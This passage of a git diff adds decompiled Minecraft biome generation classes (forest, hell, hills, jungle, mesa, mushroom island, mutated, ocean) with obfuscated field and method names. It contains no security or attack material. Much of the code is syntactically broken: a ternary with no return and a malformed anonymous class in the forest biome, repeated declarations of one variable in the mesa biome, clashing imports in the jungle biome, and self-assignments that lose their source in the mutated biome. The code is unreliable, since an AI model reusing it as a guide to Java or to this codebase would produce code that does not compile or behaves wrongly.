+    return (field_150632_aF != 2) && (p_150567_1_.nextInt(5) != 0) ? worldGeneratorTrees : (field_150632_aF == 3) && (p_150567_1_.nextInt(3) > 0) ? field_150631_aE : field_150630_aD;
+  }
+  
+  public BlockFlower.EnumFlowerType pickRandomFlower(Random p_180623_1_, BlockPos p_180623_2_)
+  {
+    if (field_150632_aF == 1)
+    {
+      double var3 = MathHelper.clamp_double((1.0D + field_180281_af.func_151601_a(p_180623_2_.getX() / 48.0D, p_180623_2_.getZ() / 48.0D)) / 2.0D, 0.0D, 0.9999D);
+      BlockFlower.EnumFlowerType var5 = BlockFlower.EnumFlowerType.values()[((int)(var3 * BlockFlower.EnumFlowerType.values().length))];
+      return var5 == BlockFlower.EnumFlowerType.BLUE_ORCHID ? BlockFlower.EnumFlowerType.POPPY : var5;
+    }
+    
+
+    return super.pickRandomFlower(p_180623_1_, p_180623_2_);
+  }
+  
+
+
+
+
+
+
+  public void func_180624_a(World worldIn, Random p_180624_2_, BlockPos p_180624_3_)
+  {
+    if (field_150632_aF == 3)
+    {
+      for (int var4 = 0; var4 < 4; var4++)
+      {
+        for (int var5 = 0; var5 < 4; var5++)
+        {
+          int var6 = var4 * 4 + 1 + 8 + p_180624_2_.nextInt(3);
+          int var7 = var5 * 4 + 1 + 8 + p_180624_2_.nextInt(3);
+          BlockPos var8 = worldIn.getHorizon(p_180624_3_.add(var6, 0, var7));
+          
+          if (p_180624_2_.nextInt(20) == 0)
+          {
+            WorldGenBigMushroom var9 = new WorldGenBigMushroom();
+            var9.generate(worldIn, p_180624_2_, var8);
+          }
+          else
+          {
+            WorldGenAbstractTree var12 = genBigTreeChance(p_180624_2_);
+            var12.func_175904_e();
+            
+            if (var12.generate(worldIn, p_180624_2_, var8))
+            {
+              var12.func_180711_a(worldIn, p_180624_2_, var8);
+            }
+          }
+        }
+      }
+    }
+    
+    int var4 = p_180624_2_.nextInt(5) - 3;
+    
+    if (field_150632_aF == 1)
+    {
+      var4 += 2;
+    }
+    
+    int var5 = 0;
+    
+    while (var5 < var4)
+    {
+      int var6 = p_180624_2_.nextInt(3);
+      
+      if (var6 == 0)
+      {
+        field_180280_ag.func_180710_a(BlockDoublePlant.EnumPlantType.SYRINGA);
+      }
+      else if (var6 == 1)
+      {
+        field_180280_ag.func_180710_a(BlockDoublePlant.EnumPlantType.ROSE);
+      }
+      else if (var6 == 2)
+      {
+        field_180280_ag.func_180710_a(BlockDoublePlant.EnumPlantType.PAEONIA);
+      }
+      
+      int var7 = 0;
+      
+
+
+      while (var7 < 5)
+      {
+        int var11 = p_180624_2_.nextInt(16) + 8;
+        int var13 = p_180624_2_.nextInt(16) + 8;
+        int var10 = p_180624_2_.nextInt(worldIn.getHorizon(p_180624_3_.add(var11, 0, var13)).getY() + 32);
+        
+        if (field_180280_ag.generate(worldIn, p_180624_2_, new BlockPos(p_180624_3_.getX() + var11, var10, p_180624_3_.getZ() + var13)))
+          break;
+        var7++;
+      }
+      
+
+
+      var5++;
+    }
+    
+
+
+    super.func_180624_a(worldIn, p_180624_2_, p_180624_3_);
+  }
+  
+  public int func_180627_b(BlockPos p_180627_1_)
+  {
+    int var2 = super.func_180627_b(p_180627_1_);
+    return field_150632_aF == 3 ? (var2 & 0xFEFEFE) + 2634762 >> 1 : var2;
+  }
+  
+  protected BiomeGenBase createMutatedBiome(int p_180277_1_)
+  {
+    if (biomeID == forestbiomeID)
+    {
+      BiomeGenForest var2 = new BiomeGenForest(p_180277_1_, 1);
+      var2.setHeight(new BiomeGenBase.Height(minHeight, maxHeight + 0.2F));
+      var2.setBiomeName("Flower Forest");
+      var2.func_150557_a(6976549, true);
+      var2.setFillerBlockMetadata(8233509);
+      return var2;
+    }
+    
+
+    (biomeID != birchForestbiomeID) && (biomeID != birchForestHillsbiomeID) ? new BiomeGenMutated(p_180277_1_, this)
+    
+
+
+
+
+
+      new BiomeGenMutated
+      {
+        private static final String __OBFID = "CL_00000172";
+        
+        public void func_180624_a(World worldIn, Random p_180624_2_, BlockPos p_180624_3_) {
+          baseBiome.func_180624_a(worldIn, p_180624_2_, p_180624_3_);
+        }
+      } : new BiomeGenMutated(p_180277_1_, this)
+      {
+        private static final String __OBFID = "CL_00001861";
+        
+        public WorldGenAbstractTree genBigTreeChance(Random p_150567_1_) {
+          return p_150567_1_.nextBoolean() ? BiomeGenForest.field_150629_aC : BiomeGenForest.field_150630_aD;
+        }
+      };
+    }
+  }
diff --git a/src/minecraft/net/minecraft/world/biome/BiomeGenHell.java b/src/minecraft/net/minecraft/world/biome/BiomeGenHell.java
new file mode 100644
index 0000000..bdac977
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/biome/BiomeGenHell.java
@@ -0,0 +1,22 @@
+package net.minecraft.world.biome;
+
+import java.util.List;
+import net.minecraft.entity.monster.EntityGhast;
+import net.minecraft.entity.monster.EntityPigZombie;
+
+public class BiomeGenHell extends BiomeGenBase
+{
+  private static final String __OBFID = "CL_00000173";
+  
+  public BiomeGenHell(int p_i1981_1_)
+  {
+    super(p_i1981_1_);
+    spawnableMonsterList.clear();
+    spawnableCreatureList.clear();
+    spawnableWaterCreatureList.clear();
+    spawnableCaveCreatureList.clear();
+    spawnableMonsterList.add(new BiomeGenBase.SpawnListEntry(EntityGhast.class, 50, 4, 4));
+    spawnableMonsterList.add(new BiomeGenBase.SpawnListEntry(EntityPigZombie.class, 100, 4, 4));
+    spawnableMonsterList.add(new BiomeGenBase.SpawnListEntry(net.minecraft.entity.monster.EntityMagmaCube.class, 1, 4, 4));
+  }
+}
diff --git a/src/minecraft/net/minecraft/world/biome/BiomeGenHills.java b/src/minecraft/net/minecraft/world/biome/BiomeGenHills.java
new file mode 100644
index 0000000..c596984
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/biome/BiomeGenHills.java
@@ -0,0 +1,112 @@
+package net.minecraft.world.biome;
+
+import java.util.Random;
+import net.minecraft.block.Block;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.init.Blocks;
+import net.minecraft.util.BlockPos;
+import net.minecraft.world.World;
+import net.minecraft.world.chunk.ChunkPrimer;
+import net.minecraft.world.gen.feature.WorldGenAbstractTree;
+import net.minecraft.world.gen.feature.WorldGenTaiga2;
+import net.minecraft.world.gen.feature.WorldGenerator;
+
+public class BiomeGenHills extends BiomeGenBase
+{
+  private WorldGenerator theWorldGenerator;
+  private WorldGenTaiga2 field_150634_aD;
+  private int field_150635_aE;
+  private int field_150636_aF;
+  private int field_150637_aG;
+  private int field_150638_aH;
+  private static final String __OBFID = "CL_00000168";
+  
+  protected BiomeGenHills(int p_i45373_1_, boolean p_i45373_2_)
+  {
+    super(p_i45373_1_);
+    theWorldGenerator = new net.minecraft.world.gen.feature.WorldGenMinable(Blocks.monster_egg.getDefaultState().withProperty(net.minecraft.block.BlockSilverfish.VARIANT_PROP, net.minecraft.block.BlockSilverfish.EnumType.STONE), 9);
+    field_150634_aD = new WorldGenTaiga2(false);
+    field_150635_aE = 0;
+    field_150636_aF = 1;
+    field_150637_aG = 2;
+    field_150638_aH = field_150635_aE;
+    
+    if (p_i45373_2_)
+    {
+      theBiomeDecorator.treesPerChunk = 3;
+      field_150638_aH = field_150636_aF;
+    }
+  }
+  
+  public WorldGenAbstractTree genBigTreeChance(Random p_150567_1_)
+  {
+    return p_150567_1_.nextInt(3) > 0 ? field_150634_aD : super.genBigTreeChance(p_150567_1_);
+  }
+  
+  public void func_180624_a(World worldIn, Random p_180624_2_, BlockPos p_180624_3_)
+  {
+    super.func_180624_a(worldIn, p_180624_2_, p_180624_3_);
+    int var4 = 3 + p_180624_2_.nextInt(6);
+    
+
+
+
+    for (int var5 = 0; var5 < var4; var5++)
+    {
+      int var6 = p_180624_2_.nextInt(16);
+      int var7 = p_180624_2_.nextInt(28) + 4;
+      int var8 = p_180624_2_.nextInt(16);
+      BlockPos var9 = p_180624_3_.add(var6, var7, var8);
+      
+      if (worldIn.getBlockState(var9).getBlock() == Blocks.stone)
+      {
+        worldIn.setBlockState(var9, Blocks.emerald_ore.getDefaultState(), 2);
+      }
+    }
+    
+    for (var4 = 0; var4 < 7; var4++)
+    {
+      var5 = p_180624_2_.nextInt(16);
+      int var6 = p_180624_2_.nextInt(64);
+      int var7 = p_180624_2_.nextInt(16);
+      theWorldGenerator.generate(worldIn, p_180624_2_, p_180624_3_.add(var5, var6, var7));
+    }
+  }
+  
+  public void genTerrainBlocks(World worldIn, Random p_180622_2_, ChunkPrimer p_180622_3_, int p_180622_4_, int p_180622_5_, double p_180622_6_)
+  {
+    topBlock = Blocks.grass.getDefaultState();
+    fillerBlock = Blocks.dirt.getDefaultState();
+    
+    if (((p_180622_6_ < -1.0D) || (p_180622_6_ > 2.0D)) && (field_150638_aH == field_150637_aG))
+    {
+      topBlock = Blocks.gravel.getDefaultState();
+      fillerBlock = Blocks.gravel.getDefaultState();
+    }
+    else if ((p_180622_6_ > 1.0D) && (field_150638_aH != field_150636_aF))
+    {
+      topBlock = Blocks.stone.getDefaultState();
+      fillerBlock = Blocks.stone.getDefaultState();
+    }
+    
+    func_180628_b(worldIn, p_180622_2_, p_180622_3_, p_180622_4_, p_180622_5_, p_180622_6_);
+  }
+  
+
+
+
+  private BiomeGenHills mutateHills(BiomeGenBase p_150633_1_)
+  {
+    field_150638_aH = field_150637_aG;
+    func_150557_a(color, true);
+    setBiomeName(biomeName + " M");
+    setHeight(new BiomeGenBase.Height(minHeight, maxHeight));
+    setTemperatureRainfall(temperature, rainfall);
+    return this;
+  }
+  
+  protected BiomeGenBase createMutatedBiome(int p_180277_1_)
+  {
+    return new BiomeGenHills(p_180277_1_, false).mutateHills(this);
+  }
+}
diff --git a/src/minecraft/net/minecraft/world/biome/BiomeGenJungle.java b/src/minecraft/net/minecraft/world/biome/BiomeGenJungle.java
new file mode 100644
index 0000000..66771e7
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/biome/BiomeGenJungle.java
@@ -0,0 +1,79 @@
+package net.minecraft.world.biome;
+
+import java.util.List;
+import java.util.Random;
+import net.minecraft.block.BlockPlanks.EnumType;
+import net.minecraft.block.BlockTallGrass.EnumType;
+import net.minecraft.entity.passive.EntityChicken;
+import net.minecraft.entity.passive.EntityOcelot;
+import net.minecraft.util.BlockPos;
+import net.minecraft.world.World;
+import net.minecraft.world.gen.feature.WorldGenAbstractTree;
+import net.minecraft.world.gen.feature.WorldGenMelon;
+import net.minecraft.world.gen.feature.WorldGenShrub;
+import net.minecraft.world.gen.feature.WorldGenTallGrass;
+import net.minecraft.world.gen.feature.WorldGenTrees;
+import net.minecraft.world.gen.feature.WorldGenVines;
+import net.minecraft.world.gen.feature.WorldGenerator;
+
+public class BiomeGenJungle extends BiomeGenBase
+{
+  private boolean field_150614_aC;
+  private static final String __OBFID = "CL_00000175";
+  
+  public BiomeGenJungle(int p_i45379_1_, boolean p_i45379_2_)
+  {
+    super(p_i45379_1_);
+    field_150614_aC = p_i45379_2_;
+    
+    if (p_i45379_2_)
+    {
+      theBiomeDecorator.treesPerChunk = 2;
+    }
+    else
+    {
+      theBiomeDecorator.treesPerChunk = 50;
+    }
+    
+    theBiomeDecorator.grassPerChunk = 25;
+    theBiomeDecorator.flowersPerChunk = 4;
+    
+    if (!p_i45379_2_)
+    {
+      spawnableMonsterList.add(new BiomeGenBase.SpawnListEntry(EntityOcelot.class, 2, 1, 1));
+    }
+    
+    spawnableCreatureList.add(new BiomeGenBase.SpawnListEntry(EntityChicken.class, 10, 4, 4));
+  }
+  
+  public WorldGenAbstractTree genBigTreeChance(Random p_150567_1_)
+  {
+    return (!field_150614_aC) && (p_150567_1_.nextInt(3) == 0) ? new net.minecraft.world.gen.feature.WorldGenMegaJungle(false, 10, 20, BlockPlanks.EnumType.JUNGLE.func_176839_a(), BlockPlanks.EnumType.JUNGLE.func_176839_a()) : p_150567_1_.nextInt(2) == 0 ? new WorldGenShrub(BlockPlanks.EnumType.JUNGLE.func_176839_a(), BlockPlanks.EnumType.OAK.func_176839_a()) : p_150567_1_.nextInt(10) == 0 ? worldGeneratorBigTree : new WorldGenTrees(false, 4 + p_150567_1_.nextInt(7), BlockPlanks.EnumType.JUNGLE.func_176839_a(), BlockPlanks.EnumType.JUNGLE.func_176839_a(), true);
+  }
+  
+
+
+
+  public WorldGenerator getRandomWorldGenForGrass(Random p_76730_1_)
+  {
+    return p_76730_1_.nextInt(4) == 0 ? new WorldGenTallGrass(BlockTallGrass.EnumType.FERN) : new WorldGenTallGrass(BlockTallGrass.EnumType.GRASS);
+  }
+  
+  public void func_180624_a(World worldIn, Random p_180624_2_, BlockPos p_180624_3_)
+  {
+    super.func_180624_a(worldIn, p_180624_2_, p_180624_3_);
+    int var4 = p_180624_2_.nextInt(16) + 8;
+    int var5 = p_180624_2_.nextInt(16) + 8;
+    int var6 = p_180624_2_.nextInt(worldIn.getHorizon(p_180624_3_.add(var4, 0, var5)).getY() * 2);
+    new WorldGenMelon().generate(worldIn, p_180624_2_, p_180624_3_.add(var4, var6, var5));
+    WorldGenVines var9 = new WorldGenVines();
+    
+    for (var5 = 0; var5 < 50; var5++)
+    {
+      var6 = p_180624_2_.nextInt(16) + 8;
+      boolean var7 = true;
+      int var8 = p_180624_2_.nextInt(16) + 8;
+      var9.generate(worldIn, p_180624_2_, p_180624_3_.add(var6, 128, var8));
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/world/biome/BiomeGenMesa.java b/src/minecraft/net/minecraft/world/biome/BiomeGenMesa.java
new file mode 100644
index 0000000..1c59afe
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/biome/BiomeGenMesa.java
@@ -0,0 +1,347 @@
+package net.minecraft.world.biome;
+
+import java.util.List;
+import java.util.Random;
+import net.minecraft.block.Block;
+import net.minecraft.block.BlockColored;
+import net.minecraft.block.BlockSand;
+import net.minecraft.block.BlockSand.EnumType;
+import net.minecraft.block.material.Material;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.init.Blocks;
+import net.minecraft.item.EnumDyeColor;
+import net.minecraft.util.BlockPos;
+import net.minecraft.world.World;
+import net.minecraft.world.chunk.ChunkPrimer;
+import net.minecraft.world.gen.NoiseGeneratorPerlin;
+
+public class BiomeGenMesa extends BiomeGenBase
+{
+  private IBlockState[] field_150621_aC;
+  private long field_150622_aD;
+  private NoiseGeneratorPerlin field_150623_aE;
+  private NoiseGeneratorPerlin field_150624_aF;
+  private NoiseGeneratorPerlin field_150625_aG;
+  private boolean field_150626_aH;
+  private boolean field_150620_aI;
+  private static final String __OBFID = "CL_00000176";
+  
+  public BiomeGenMesa(int p_i45380_1_, boolean p_i45380_2_, boolean p_i45380_3_)
+  {
+    super(p_i45380_1_);
+    field_150626_aH = p_i45380_2_;
+    field_150620_aI = p_i45380_3_;
+    setDisableRain();
+    setTemperatureRainfall(2.0F, 0.0F);
+    spawnableCreatureList.clear();
+    topBlock = Blocks.sand.getDefaultState().withProperty(BlockSand.VARIANT_PROP, BlockSand.EnumType.RED_SAND);
+    fillerBlock = Blocks.stained_hardened_clay.getDefaultState();
+    theBiomeDecorator.treesPerChunk = 64537;
+    theBiomeDecorator.deadBushPerChunk = 20;
+    theBiomeDecorator.reedsPerChunk = 3;
+    theBiomeDecorator.cactiPerChunk = 5;
+    theBiomeDecorator.flowersPerChunk = 0;
+    spawnableCreatureList.clear();
+    
+    if (p_i45380_3_)
+    {
+      theBiomeDecorator.treesPerChunk = 5;
+    }
+  }
+  
+  public net.minecraft.world.gen.feature.WorldGenAbstractTree genBigTreeChance(Random p_150567_1_)
+  {
+    return worldGeneratorTrees;
+  }
+  
+  public int func_180625_c(BlockPos p_180625_1_)
+  {
+    return 10387789;
+  }
+  
+  public int func_180627_b(BlockPos p_180627_1_)
+  {
+    return 9470285;
+  }
+  
+  public void func_180624_a(World worldIn, Random p_180624_2_, BlockPos p_180624_3_)
+  {
+    super.func_180624_a(worldIn, p_180624_2_, p_180624_3_);
+  }
+  
+  public void genTerrainBlocks(World worldIn, Random p_180622_2_, ChunkPrimer p_180622_3_, int p_180622_4_, int p_180622_5_, double p_180622_6_)
+  {
+    if ((field_150621_aC == null) || (field_150622_aD != worldIn.getSeed()))
+    {
+      func_150619_a(worldIn.getSeed());
+    }
+    
+    if ((field_150623_aE == null) || (field_150624_aF == null) || (field_150622_aD != worldIn.getSeed()))
+    {
+      Random var8 = new Random(field_150622_aD);
+      field_150623_aE = new NoiseGeneratorPerlin(var8, 4);
+      field_150624_aF = new NoiseGeneratorPerlin(var8, 1);
+    }
+    
+    field_150622_aD = worldIn.getSeed();
+    double var22 = 0.0D;
+    
+
+
+    if (field_150626_aH)
+    {
+      int var10 = (p_180622_4_ & 0xFFFFFFF0) + (p_180622_5_ & 0xF);
+      int var11 = (p_180622_5_ & 0xFFFFFFF0) + (p_180622_4_ & 0xF);
+      double var12 = Math.min(Math.abs(p_180622_6_), field_150623_aE.func_151601_a(var10 * 0.25D, var11 * 0.25D));
+      
+      if (var12 > 0.0D)
+      {
+        double var14 = 0.001953125D;
+        double var16 = Math.abs(field_150624_aF.func_151601_a(var10 * var14, var11 * var14));
+        var22 = var12 * var12 * 2.5D;
+        double var18 = Math.ceil(var16 * 50.0D) + 14.0D;
+        
+        if (var22 > var18)
+        {
+          var22 = var18;
+        }
+        
+        var22 += 64.0D;
+      }
+    }
+    
+    int var10 = p_180622_4_ & 0xF;
+    int var11 = p_180622_5_ & 0xF;
+    boolean var23 = true;
+    IBlockState var13 = Blocks.stained_hardened_clay.getDefaultState();
+    IBlockState var24 = fillerBlock;
+    int var15 = (int)(p_180622_6_ / 3.0D + 3.0D + p_180622_2_.nextDouble() * 0.25D);
+    boolean var25 = Math.cos(p_180622_6_ / 3.0D * 3.141592653589793D) > 0.0D;
+    int var17 = -1;
+    boolean var26 = false;
+    
+    for (int var19 = 255; var19 >= 0; var19--)
+    {
+      if ((p_180622_3_.getBlockState(var11, var19, var10).getBlock().getMaterial() == Material.air) && (var19 < (int)var22))
+      {
+        p_180622_3_.setBlockState(var11, var19, var10, Blocks.stone.getDefaultState());
+      }
+      
+      if (var19 <= p_180622_2_.nextInt(5))
+      {
+        p_180622_3_.setBlockState(var11, var19, var10, Blocks.bedrock.getDefaultState());
+      }
+      else
+      {
+        IBlockState var20 = p_180622_3_.getBlockState(var11, var19, var10);
+        
+        if (var20.getBlock().getMaterial() == Material.air)
+        {
+          var17 = -1;
+        }
+        else if (var20.getBlock() == Blocks.stone)
+        {
+
+
+          if (var17 == -1)
+          {
+            var26 = false;
+            
+            if (var15 <= 0)
+            {
+              var13 = null;
+              var24 = Blocks.stone.getDefaultState();
+            }
+            else if ((var19 >= 59) && (var19 <= 64))
+            {
+              var13 = Blocks.stained_hardened_clay.getDefaultState();
+              var24 = fillerBlock;
+            }
+            
+            if ((var19 < 63) && ((var13 == null) || (var13.getBlock().getMaterial() == Material.air)))
+            {
+              var13 = Blocks.water.getDefaultState();
+            }
+            
+            var17 = var15 + Math.max(0, var19 - 63);
+            
+            if (var19 >= 62)
+            {
+              if ((field_150620_aI) && (var19 > 86 + var15 * 2))
+              {
+                if (var25)
+                {
+                  p_180622_3_.setBlockState(var11, var19, var10, Blocks.dirt.getDefaultState().withProperty(net.minecraft.block.BlockDirt.VARIANT, net.minecraft.block.BlockDirt.DirtType.COARSE_DIRT));
+                }
+                else
+                {
+                  p_180622_3_.setBlockState(var11, var19, var10, Blocks.grass.getDefaultState());
+                }
+              }
+              else if (var19 > 66 + var15) { IBlockState var21;
+                IBlockState var21;
+                if ((var19 >= 64) && (var19 <= 127)) {
+                  IBlockState var21;
+                  if (var25)
+                  {
+                    var21 = Blocks.hardened_clay.getDefaultState();
+                  }
+                  else
+                  {
+                    var21 = func_180629_a(p_180622_4_, var19, p_180622_5_);
+                  }
+                }
+                else
+                {
+                  var21 = Blocks.stained_hardened_clay.getDefaultState().withProperty(BlockColored.COLOR, EnumDyeColor.ORANGE);
+                }
+                
+                p_180622_3_.setBlockState(var11, var19, var10, var21);
+              }
+              else
+              {
+                p_180622_3_.setBlockState(var11, var19, var10, topBlock);
+                var26 = true;
+              }
+            }
+            else
+            {
+              p_180622_3_.setBlockState(var11, var19, var10, var24);
+              
+              if (var24.getBlock() == Blocks.stained_hardened_clay)
+              {
+                p_180622_3_.setBlockState(var11, var19, var10, var24.getBlock().getDefaultState().withProperty(BlockColored.COLOR, EnumDyeColor.ORANGE));
+              }
+            }
+          }
+          else if (var17 > 0)
+          {
+            var17--;
+            
+            if (var26)
+            {
+              p_180622_3_.setBlockState(var11, var19, var10, Blocks.stained_hardened_clay.getDefaultState().withProperty(BlockColored.COLOR, EnumDyeColor.ORANGE));
+            }
+            else
+            {
+              IBlockState var21 = func_180629_a(p_180622_4_, var19, p_180622_5_);
+              p_180622_3_.setBlockState(var11, var19, var10, var21);
+            }
+          }
+        }
+      }
+    }
+  }
+  
+  private void func_150619_a(long p_150619_1_)
+  {
+    field_150621_aC = new IBlockState[64];
+    java.util.Arrays.fill(field_150621_aC, Blocks.hardened_clay.getDefaultState());
+    Random var3 = new Random(p_150619_1_);
+    field_150625_aG = new NoiseGeneratorPerlin(var3, 1);
+    
+
+    for (int var4 = 0; var4 < 64; var4++)
+    {
+      var4 += var3.nextInt(5) + 1;
+      
+      if (var4 < 64)
+      {
+        field_150621_aC[var4] = Blocks.stained_hardened_clay.getDefaultState().withProperty(BlockColored.COLOR, EnumDyeColor.ORANGE);
+      }
+    }
+    
+    var4 = var3.nextInt(4) + 2;
+    
+
+
+
+
+    for (int var5 = 0; var5 < var4; var5++)
+    {
+      int var6 = var3.nextInt(3) + 1;
+      int var7 = var3.nextInt(64);
+      
+      for (int var8 = 0; (var7 + var8 < 64) && (var8 < var6); var8++)
+      {
+        field_150621_aC[(var7 + var8)] = Blocks.stained_hardened_clay.getDefaultState().withProperty(BlockColored.COLOR, EnumDyeColor.YELLOW);
+      }
+    }
+    
+    var5 = var3.nextInt(4) + 2;
+    
+
+    for (int var6 = 0; var6 < var5; var6++)
+    {
+      int var7 = var3.nextInt(3) + 2;
+      int var8 = var3.nextInt(64);
+      
+      for (int var9 = 0; (var8 + var9 < 64) && (var9 < var7); var9++)
+      {
+        field_150621_aC[(var8 + var9)] = Blocks.stained_hardened_clay.getDefaultState().withProperty(BlockColored.COLOR, EnumDyeColor.BROWN);
+      }
+    }
+    
+    var6 = var3.nextInt(4) + 2;
+    
+    for (int var7 = 0; var7 < var6; var7++)
+    {
+      int var8 = var3.nextInt(3) + 1;
+      int var9 = var3.nextInt(64);
+      
+      for (int var10 = 0; (var9 + var10 < 64) && (var10 < var8); var10++)
+      {
+        field_150621_aC[(var9 + var10)] = Blocks.stained_hardened_clay.getDefaultState().withProperty(BlockColored.COLOR, EnumDyeColor.RED);
+      }
+    }
+    
+    var7 = var3.nextInt(3) + 3;
+    int var8 = 0;
+    
+    for (int var9 = 0; var9 < var7; var9++)
+    {
+      byte var12 = 1;
+      var8 += var3.nextInt(16) + 4;
+      
+      for (int var11 = 0; (var8 + var11 < 64) && (var11 < var12); var11++)
+      {
+        field_150621_aC[(var8 + var11)] = Blocks.stained_hardened_clay.getDefaultState().withProperty(BlockColored.COLOR, EnumDyeColor.WHITE);
+        
+        if ((var8 + var11 > 1) && (var3.nextBoolean()))
+        {
+          field_150621_aC[(var8 + var11 - 1)] = Blocks.stained_hardened_clay.getDefaultState().withProperty(BlockColored.COLOR, EnumDyeColor.SILVER);
+        }
+        
+        if ((var8 + var11 < 63) && (var3.nextBoolean()))
+        {
+          field_150621_aC[(var8 + var11 + 1)] = Blocks.stained_hardened_clay.getDefaultState().withProperty(BlockColored.COLOR, EnumDyeColor.SILVER);
+        }
+      }
+    }
+  }
+  
+  private IBlockState func_180629_a(int p_180629_1_, int p_180629_2_, int p_180629_3_)
+  {
+    int var4 = (int)Math.round(field_150625_aG.func_151601_a(p_180629_1_ * 1.0D / 512.0D, p_180629_1_ * 1.0D / 512.0D) * 2.0D);
+    return field_150621_aC[((p_180629_2_ + var4 + 64) % 64)];
+  }
+  
+  protected BiomeGenBase createMutatedBiome(int p_180277_1_)
+  {
+    boolean var2 = biomeID == mesabiomeID;
+    BiomeGenMesa var3 = new BiomeGenMesa(p_180277_1_, var2, field_150620_aI);
+    
+    if (!var2)
+    {
+      var3.setHeight(height_LowHills);
+      var3.setBiomeName(biomeName + " M");
+    }
+    else
+    {
+      var3.setBiomeName(biomeName + " (Bryce)");
+    }
+    
+    var3.func_150557_a(color, true);
+    return var3;
+  }
+}
diff --git a/src/minecraft/net/minecraft/world/biome/BiomeGenMushroomIsland.java b/src/minecraft/net/minecraft/world/biome/BiomeGenMushroomIsland.java
new file mode 100644
index 0000000..af4cd49
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/biome/BiomeGenMushroomIsland.java
@@ -0,0 +1,24 @@
+package net.minecraft.world.biome;
+
+import java.util.List;
+import net.minecraft.block.BlockMycelium;
+
+public class BiomeGenMushroomIsland extends BiomeGenBase
+{
+  private static final String __OBFID = "CL_00000177";
+  
+  public BiomeGenMushroomIsland(int p_i1984_1_)
+  {
+    super(p_i1984_1_);
+    theBiomeDecorator.treesPerChunk = -100;
+    theBiomeDecorator.flowersPerChunk = -100;
+    theBiomeDecorator.grassPerChunk = -100;
+    theBiomeDecorator.mushroomsPerChunk = 1;
+    theBiomeDecorator.bigMushroomsPerChunk = 1;
+    topBlock = net.minecraft.init.Blocks.mycelium.getDefaultState();
+    spawnableMonsterList.clear();
+    spawnableCreatureList.clear();
+    spawnableWaterCreatureList.clear();
+    spawnableCreatureList.add(new BiomeGenBase.SpawnListEntry(net.minecraft.entity.passive.EntityMooshroom.class, 8, 4, 8));
+  }
+}
diff --git a/src/minecraft/net/minecraft/world/biome/BiomeGenMutated.java b/src/minecraft/net/minecraft/world/biome/BiomeGenMutated.java
new file mode 100644
index 0000000..87cb791
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/biome/BiomeGenMutated.java
@@ -0,0 +1,91 @@
+package net.minecraft.world.biome;
+
+import com.google.common.collect.Lists;
+import java.util.Random;
+import net.minecraft.util.BlockPos;
+import net.minecraft.world.World;
+import net.minecraft.world.chunk.ChunkPrimer;
+import net.minecraft.world.gen.feature.WorldGenAbstractTree;
+
+public class BiomeGenMutated extends BiomeGenBase
+{
+  protected BiomeGenBase baseBiome;
+  private static final String __OBFID = "CL_00000178";
+  
+  public BiomeGenMutated(int p_i45381_1_, BiomeGenBase p_i45381_2_)
+  {
+    super(p_i45381_1_);
+    baseBiome = p_i45381_2_;
+    func_150557_a(color, true);
+    biomeName = (biomeName + " M");
+    topBlock = topBlock;
+    fillerBlock = fillerBlock;
+    fillerBlockMetadata = fillerBlockMetadata;
+    minHeight = minHeight;
+    maxHeight = maxHeight;
+    temperature = temperature;
+    rainfall = rainfall;
+    waterColorMultiplier = waterColorMultiplier;
+    enableSnow = enableSnow;
+    enableRain = enableRain;
+    spawnableCreatureList = Lists.newArrayList(spawnableCreatureList);
+    spawnableMonsterList = Lists.newArrayList(spawnableMonsterList);
+    spawnableCaveCreatureList = Lists.newArrayList(spawnableCaveCreatureList);
+    spawnableWaterCreatureList = Lists.newArrayList(spawnableWaterCreatureList);
+    temperature = temperature;
+    rainfall = rainfall;
+    minHeight = (minHeight + 0.1F);
+    maxHeight = (maxHeight + 0.2F);
+  }
+  
+  public void func_180624_a(World worldIn, Random p_180624_2_, BlockPos p_180624_3_)
+  {
+    baseBiome.theBiomeDecorator.func_180292_a(worldIn, p_180624_2_, this, p_180624_3_);
+  }
+  
+  public void genTerrainBlocks(World worldIn, Random p_180622_2_, ChunkPrimer p_180622_3_, int p_180622_4_, int p_180622_5_, double p_180622_6_)
+  {
+    baseBiome.genTerrainBlocks(worldIn, p_180622_2_, p_180622_3_, p_180622_4_, p_180622_5_, p_180622_6_);
+  }
+  
+
+
+
+  public float getSpawningChance()
+  {
+    return baseBiome.getSpawningChance();
+  }
+  
+  public WorldGenAbstractTree genBigTreeChance(Random p_150567_1_)
+  {
+    return baseBiome.genBigTreeChance(p_150567_1_);
+  }
+  
+  public int func_180625_c(BlockPos p_180625_1_)
+  {
+    return baseBiome.func_180625_c(p_180625_1_);
+  }
+  
+  public int func_180627_b(BlockPos p_180627_1_)
+  {
+    return baseBiome.func_180627_b(p_180627_1_);
+  }
+  
+  public Class getBiomeClass()
+  {
+    return baseBiome.getBiomeClass();
+  }
+  
+
+
+
+  public boolean isEqualTo(BiomeGenBase p_150569_1_)
+  {
+    return baseBiome.isEqualTo(p_150569_1_);
+  }
+  
+  public BiomeGenBase.TempCategory getTempCategory()
+  {
+    return baseBiome.getTempCategory();
+  }
+}
diff --git a/src/minecraft/net/minecraft/world/biome/BiomeGenOcean.java b/src/minecraft/net/minecraft/world/biome/BiomeGenOcean.java
new file mode 100644
index 0000000..b90f630
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/biome/BiomeGenOcean.java
@@ -0,0 +1,26 @@
+package net.minecraft.world.biome;
+
+import java.util.Random;
+import net.minecraft.world.World;
+import net.minecraft.world.chunk.ChunkPrimer;
+
+public class BiomeGenOcean extends BiomeGenBase
+{
+  private static final String __OBFID = "CL_00000179";
+  
+  public BiomeGenOcean(int p_i1985_1_)
+  {
+    super(p_i1985_1_);
+    spawnableCreatureList.clear();
+  }
+  
+  public BiomeGenBase.TempCategory getTempCategory()
+  {
+    return BiomeGenBase.TempCategory.OCEAN;
+  }
+  
+  public void genTerrainBlocks(World worldIn, Random p_180622_2_, ChunkPrimer p_180622_3_, int p_180622_4_, int p_180622_5_, double p_180622_6_)
+  {
+    super.genTerrainBlocks(worldIn, p_180622_2_, p_180622_3_, p_180622_4_, p_180622_5_, p_180622_6_);
+  }
+}
